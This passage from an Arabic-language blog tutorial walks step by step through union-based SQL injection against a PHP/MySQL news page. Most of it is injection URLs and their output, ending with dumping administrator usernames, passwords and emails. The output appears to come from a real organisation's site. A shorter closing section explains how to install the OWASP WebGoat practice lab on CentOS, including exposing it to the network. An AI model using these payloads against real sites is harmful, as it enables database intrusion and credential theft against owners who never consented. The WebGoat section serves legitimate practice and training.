Unclosed quotation mark after the character string ”.
/showforum.asp, line 9
ظهر أن قاعدة البيانات هي MSSQL او Microsoft SQL server
مثال أخر
ORA-01756: quoted string not properly terminated
وهنا قاعدة البيانات هي Oracle
هناك اختلافات في طريقة حقن القواعد بين قاعدة وأخرى وكما ذكرنا موضوعنا هذا سيكون على قواعد بيانات MySQL مع تطبيقات PHP حيث الأكثر استخداما معاً.
3.2. Enumerate number of columns in the database’s table
الأن نريد أن نعرف عدد الأعمدة في جداول قاعدة البيانات الحالية , بحكم أننا لا نعرف عدد الأعمدة بالظبط فإننا سنقوم بإضافة مجموعة من العمليات التصاعدية/التنازلية حتى [gn_highlight bg=”#ff6042″ color=”#000000″]يختفي الخطأ[/gn_highlight] و الذي يدل على أن عدد أعمدة الجدول مختلف -بالنقص أو الزيادة- عن العدد الذي طلبته عن طريق الاستعلام.
مثال لشكل الخطأ
The used SELECT statements have a different number of columns
هناك عدة طرق وسنذكر منها
- باستخدام الأرقام مع UNION SELECT
بحكم أننا لا نعرف عدد الأعمدة فإننا سنقوم بإضافة مجموعة من الأرقام التصاعدية حتى يختفي الخطأ و الذي يدل على أن للأعمدة عدد مختلف عن الذي طلبته
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7#
ذهب الخطأ وظهرت لنا صفحة الموقع!
- باستخدام NULL مع UNION SELECT
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ! سنستمر في زيادة عدد الـ NULL حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL
ذهب الخطأ وظهرت لنا صفحة الموقع!
- باستخدام الأرقام مع ORDER BY – أنصح بهذه الطريقة
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 20
ظهر لنا خطأ! سنستمر في إنقاص العدد حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 8
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 7
ذهب الخطأ وظهرت لنا صفحة الموقع!
إذناً نستنج أن عدد الأعمدة هو 7 أعمدة
[box style=”tip”]
جرب إضافة علامة الناقص مرتين متتابعتين بدون مسافات “–” أو الناقص مرتين متتابعتين بدون مسافا تتبعها واحدة إضافية قبلها مسافه “– -” أو “#” أو “/**/” في نهاية الاستعلام
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7-- -
http://Vulnerable-Site.ext/news_detail.php?id=9 order by 7#
[/box]
[box style=”tip”]
استخدمنا UNION SELECT , جرب أيضا مخرجات UNION ALL SELECT في ما طبقناه سابقا وما سنطبقه لاحقا وقارن المخرجات ,,
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION ALL SELECT 1,2,3,4,5,6,7--
[/box]
[box style=”info”]
زيادة الأعداد أو NULLs بناء على بدايتك فإذا وضعت في البداية عدد قليل مثل 1 فابدأ بزيادتها, وإذا بدأت بعدد كبير مثل 50 فابدأ بإنقاصها.
[/box]
3.3. Enumerate Vulnerable column(s)
بعد أن عرفنا عدد الأعمدة بالظبط, نريد أن نعرف العامود/الأعمدة المصابة والتي يمكن أن نحقن استعالاماتنا فيها للتفاعل مع القواعد بالطريقة التالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,3,4,5,6,7--
[box style=”alert”]
لاحظ علامة ” – ” قبل المتغير. لا تنسى وضعها فسترافقنا إلى النهاية!.
[/box]
الأن دقق في الصفحة جيدا سيظهر لك رقم أو عدة أرقام مختلفة في أماكن مختلفة من الصفحة
شكل الصفحة بعد تطبيق الاستعلام
[box style=”tip”]
ليس كل المواقع تظهر فيها الأرقام بهذا الوضوح, ابحث جيدا في الصفحة فقط تكون في الـHeader أو الـ Footer أو في Sidebar
[/box]
نستنتج أن الأعمدة المصابة هي 2 و 3 و 5 و 7
3.4. Enumerate Database version
هناك طريقتين لإظهار إصدار قاعدة البيانات
- باستخدام VERSION()
- باستخدام VERSION@@
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,version(),4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@version,4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
5.0.51b-community-nt-log
3.5. Enumerate Database name
اسم قاعدة البيانات الحالية التي نعمل عليها
- باستخدام DATABASE()
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,DATABASE(),4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
nilakantatrust
3.6. Enumerate Database user
اسم المستخدم لقاعدة البيانات الحالية التي نعمل عليها
- باستخدام USER()
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,USER(),4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
rmishra@localhost
[box style=”info”]
ومن هنا نسنتج أيضا أن القاعدة على نفس الخادم وليس خادم أخر
[/box]
3.7. Enumerate server hostname
اسم الخادم الذي يعمل عليه الموقع
- باستخدام @@HOSTNAME
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@HOSTNAME,4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
winvserv1
[box style=”info”]
– قد لا يظهر لنا مسح الخادم باستخدام الـ nmap نوع الخادم لكننا استفدنا من اسم الخادم أنه Windows server
– بعض الأحيان يكون الموقع يعمل على أكثر من خادم كـ Load balancing قد يكشف لكن الإسم ذلك ولسنا بصدد تفاصيل هذا
[/box]
3.8. Enumerate server MAC address
استخراج الـ MAC address للخادم.
- باستخدام UUID()
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,UUID(),4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
70cc11f4-5984-11e2-bbf9-001c4239ab0a
3.9. Enumerate All Together
نجمع جميع ما سبق في استعلام واحد!
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),HOSTNAME(),USER(),DATABASE(),VERSION()),4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
rmishra@localhost : nilakantatrust : 5.0.51b-community-nt-log
[box style=”alert”]
– ليس بالضرورة أن تعمل معك كل الدوال السابقة وغيرها, على سبيل المثال قد لا تعمل معك دالة HOSTNAME() أو UUID() فلا تقلق فنحن دائما نحاول جمع أكبر قدر من المعلومات.
– بعض المعلومات قد لا تفيدك بشكل مباشر لكنها قد تكون مؤشر إلى شئ آخر كـ صلاحيات هذا المستخدم على قاعدة أو قواعدة البيانات مثلا.
[/box]
4. Exploiting / Extracting
وكالعادة, قبل أن نبدأ في خطوة نسأل أنفسنا ماذا نريد من هذه الخطوة؟
4.1. List all databases
نعرض جميع قواعد البيانات الموجودة. حقن [gn_highlight bg=”#B2B2B2″ color=”#000000″]GROUP_CONCAT(schema_name)[/gn_highlight] مع [gn_highlight bg=”#B2B2B2″ color=”#000000″]from information_chema.schemata[/gn_highlight] ستعرض لنا جميع قواعد البيانات المستخدمة من خلال التطبيق.
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(schema_name),4,5,6,7 from information_schema.schemata--
[gn_label style=”success”]المـخـرجـات[/gn_label]
information_schema,nilakantatrust
4.2. Extracting tables from the database
[gn_label style=”default”]استخراج الجداول من القاعدة الحالية[/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--
[gn_label style=”success”]المـخـرجـات[/gn_label]
est_achievement,est_admin,est_adminlog,est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord
هناك طريقتين أخراتين لعرض جميع جميع الجداول سأعرضهم بسرعة
[gn_label style=”default”]استخراج جميع الجداول –> 1 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables--
[gn_label style=”default”]استخراج جميع الجداول –> 2 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where version=10;
[gn_label style=”success”]المـخـرجـات[/gn_label]
st_adminlog,est_companyrecord,est_facp etc est_achievement,est_admin,est_adminlog, est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord
[box style=”green”]
يتم إسناد القيم بناء على إصدار الـ MySQL. القيمة 10 للإصدارات 5 و القيمة 9 للإصدارات 4
version=10 for MySQL v5
version=9 for MySQL v4
[/box]
[box style=”red”]
لاحظ أننا حصلنا على جدول مهم , est_admin
[/box]
4.3. Extracting columns from the tables
استخراج الأعمدة من الجداول ولها طريقتين
[gn_label style=”default”]1- Extracting from all tables[/gn_label]
استخراج أعمدة جميع الجداول في القاعدة الحالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database()--
[gn_label style=”success”]المـخـرجـات[/gn_label]
ach_id,ach_title,ach_detail,ach_type,ach_date,ach_status,ach_pdf,uid,userid,password,emailid,signature,last_login,
uid,ipaddress,act_date,module,action,description,c_snum,c_name,c_photo,fac_snum,fac_name,fac_designation,fac_dept,fac_qualification,
fac_email,fac_phone,fac_residence,fac_photo,fac_experience,
fac_publication,fac_uid,fac_pwd,news_id,news_title,news_detail,
news_type,news_date,news_status,news_pdf,notice_id,notice_title,
notice_detail,notice_type,notice_date,notice_status,sno,trade,name,
sex,dob,nri,laddress,paddress,email,pin,phone,mobile,caste,pname,
prelation,poccupation,pincome,pphone,pmobile,pemail,lname,lrelation,
loccupation,lincome,lphone,lmobile,lemail,marksheet,status,date,snum,
sname,batch,branch,company,s_photo
[gn_label style=”default”]2- Extracting from specific table[/gn_label]
استخراج اعمدة جدول معين
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=est_admin--
[gn_label style=”success”]المـخـرجـات[/gn_label]
بهذا الشكل سيخرج لك خطأ ولن تحصل على معلومة. لهذا يجب عليك أن تحول ترميز اسم الجدول إلى Hex وأسهل طريقة لهذا هو عن طريق إضافة HackBar في الفاير الفايرفوكس هكذا
Encoding >> HEX encoding >> String to 00ff00ff
نضع اسم الجدول وفي حالتنا اسمه “est_admin” سيخرج لنا القيمة “6573745f61646d696e”. نأخذ القيمة الجديدة ونضع قبلها “0x“ ثم نضعها في مكان اسم الجدول كالتالي
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=0x6573745f61646d696e--
[gn_label style=”success”]المـخـرجـات[/gn_label]
uid,userid,password,emailid,signature,last_login
4.4. Extracting information from the columns
الأن دعنا نعرض جميع المستخدمين مع كلمات المرور و بريدهم الإلكتروني
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,password,emailid),4,5,6,7 from est_admin--
[box style=”info”]
القيمة ” 0x3a ” تعني العلامة ” : ” وهنا نستخدما لتحسين عرض البيانات
[/box]
[box style=”tip”]
جرب ان تنفذ الاستعلام بالطريقة التالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,0x3a,password,0x3a,emailid),4,5,6,7 from est_admin--
[/box]
[gn_label style=”success”]المـخـرجـات[/gn_label]
user1:User1Password:[email protected]
user2:User2Password:[email protected]
.
.
userX:UserXPassword:[email protected]
[box style=”info”]
أخيرا وليس آخرا, هذا الموضوع قابل للتحديث كلما سمح الوقت والجهد, كما أن الإضافات على الموضوع مرحب بها.
[/box]
تثبيت WebGoat على CentOS خطوة بخطوة
مقدمة
الكثير منا يحتاج بيئة وهمية لتطبيق ما يتعلمه في استغلال ثغرات تطبيقات الويب. كتابة أكواد مصابة والتطبيق عليها هو إهدار للمجهود والوقت كما أنه من الخطأ التعلم على مواقع حقيقية تخص أشخاص آخرين ولهذا نبحث عن تطبيقات مصابة تم عملها خصيصا للتعلم وتختلف هذه التطبيقات في لغة برمجتها وقواعد بياناتها وأيضا الثغرات الموجودة عليها ومدى احترافيتها. مشروع WebGoat هو من تطويل منظمة OWASP وتم عمله بالجافا J2EE ليتناسب مع التدريبات التي تعطيها في دوراتها الاحترافية وهو مشروع مجاني ومفتوح المصدر ويعمل على عدة منصات وهو ليس المنصة الوحيدة الموجودة في هذا المجال.
يحتوي المشروع على أنواع مختلفة من ثغرات الويب منها
- Cross-site Scripting (XSS)
- Access Control
- Thread Safety
- Hidden Form Field Manipulation
- Parameter Manipulation
- Weak Session Cookies
- Blind SQL Injection
- Numeric SQL Injection
- String SQL Injection
- Web Services
- Fail Open Authentication
- Dangers of HTML Comments
والأن جاء وقت التثبيت..
التـثـبـيـت
1. تثبيت الجافا على النظام
yum -y install java-*-openjdk
2. تحميل المشروع
حمل المشروع من الروابط الرئيسية: من هنا
3. فك الضغط والدخول إلى مجلد المشروع
unzip WebGoat-5.4-OWASP_Standard_Win32.zip
cd WebGoat-5.4
يفترض بعد هذه الخطوة أن نقوم بتشغيل المشروع لكن يجب أن نقوم ببعض التعديلات على الإعدادات لكي نحدد مسار الجافا في النظام
3.1. تعديل ملف تشغيل المشروع (Linux=webgoat.sh , Windows,webgoat.bat)
معلومة:
– مسار الجافا عندي هو (/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0) تستطيع البحث عن مسار الجافا الخاص بك عن طريق
find / -name java
– إصدار الجافا عندي هو (1.6.0_22) تسطيع معرفة إصدار الجافا لديك عن طريق
java -version
الأن افتح الملف webgoat.sh
vim webgoat.sh
ابحث عن السطر
export CATALINA_HOME PATH
وحوله إلى نفس مسار الجافا الخاص بك
export JAVA_HOME=/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0
ابحث عن السطر
$JAVA_HOME/bin/java -version 2>&1 | grep ‘version \”1.5’ >/dev/null
وحوله إلى نفس إصدار الجافا الخاص بك
$JAVA_HOME/bin/java -version 2>&1 | grep ‘version \”1.6.0_22’ >/dev/null
4. شغل خادم المشروع
./webgoat.sh start80
سيعمل على منفذ 80, أو
./webgoat.sh start8080
كي يعمل على منفذ 8080
حتى هنا نكون قد انتهينا من التثبيت بشكل رسمي, لكن ستواجهنا مشكلة أن WebGoat تم إعداده لكي يتم الوصول إليه من نفس الجهاز المُثبت عليه احتياطا لأنه نظام مليئ بالثغرات وخوفا من الوصول إليه من أحد في نفس الشبكة واختراق الجهاز.
في حالتنا نريد الوصول إليه من الشبكة والأن سنعرف كيفيه إعداده لهذا.
5. تعديل ملف إعدادات الـ Tomcat
cd tomcat/conf
ملاحظة:
– إذا كنت تريد تشغيل المشروع على منفذ 80, عدل الملف (server_80.xml)
– إذا كنت تريد تشغيل المشروع على منفذ 80, عدل الملف (server_8080.xml)
اذهب إلى السطر
Connector address=”127.0.0.1” port=”80″ maxHttpHeaderSize=”8192″
واجعله
Connector address=”0.0.0.0” port=”80″ maxHttpHeaderSize=”8192″
5.1. أعد التشغيل أو ابحث عن الـ Process الخاصة بالجافا واغلقها
5.2.شغّل خادم المشروع
./webgoat.sh start80
سيعمل على منفذ 80, أو
./webgoat.sh start8080
معلومة:
تستطيع جعل التطبيق يعمل بشكل افتراضي (مسار التطبيق عندي تحت الجذر مباشرة)
echo "cd /WebGoat-5.4 && ./webgoat.sh start80 &" >> /etc/rc.local
5.3.الدخول إلى المشروع من المتصفح
http://x.x.x.x/WebGoat/attack
عند دخولك على الموقع لأول مرة سيطلب منك اسم مستخدم وكلمة مرور ,, استخدم التالي
Username = guest, password = guest
سؤال: نعلم أن هناك مشاريع أخرى مثل Webgoat وعلى منصات مختلفة ولغات متعددة, هل تعتقد أن في تلك المشاريع من هو أفضل منه؟ ولماذا؟